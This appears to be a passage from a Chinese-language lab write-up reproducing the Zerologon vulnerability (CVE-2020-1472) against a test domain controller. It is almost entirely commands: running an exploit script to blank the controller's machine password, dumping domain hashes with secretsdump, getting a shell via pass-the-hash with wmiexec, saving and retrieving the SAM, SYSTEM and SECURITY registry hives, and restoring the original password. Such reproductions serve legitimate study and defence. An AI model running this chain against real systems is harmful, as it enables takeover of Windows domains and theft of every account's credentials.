3.域控环境搭建参考文章
4.复现过程
4.1 漏洞验证
4.2 漏洞利用
安装最新的Impacket,否则会报错
4.2.1 下载攻击exp
4.2.2 置空密码
python3 cve-2020-1472-exploit.py WIN-F6STUQIU7D8 192.168.236.132
4.2.3 获取hash
进入到impacket/examples
python3 secretsdump.py DOMAIN/WIN-F6STUQIU7D8\$@192.168.236.132 -just-dc -no-pass
4.2.4 获取shell
python3 wmiexec.py -hashes <HASH> DOMAIN/administrator\@IP
4.2.5 获取原hash
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit
4.2.6 解析hash
保存$MACHINE.ACC部分:XXXXXXXXXXXXXX:XXXXXXX
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
4.2.7 恢复hash
恢复链接
也可以直接
git clone https://github.com/risksense/zerologon
python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR <ORI_HASH>
4.2.8 验证是否恢复
使用获取hash的命令来验证是否恢复
python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -just-dc -no-pass
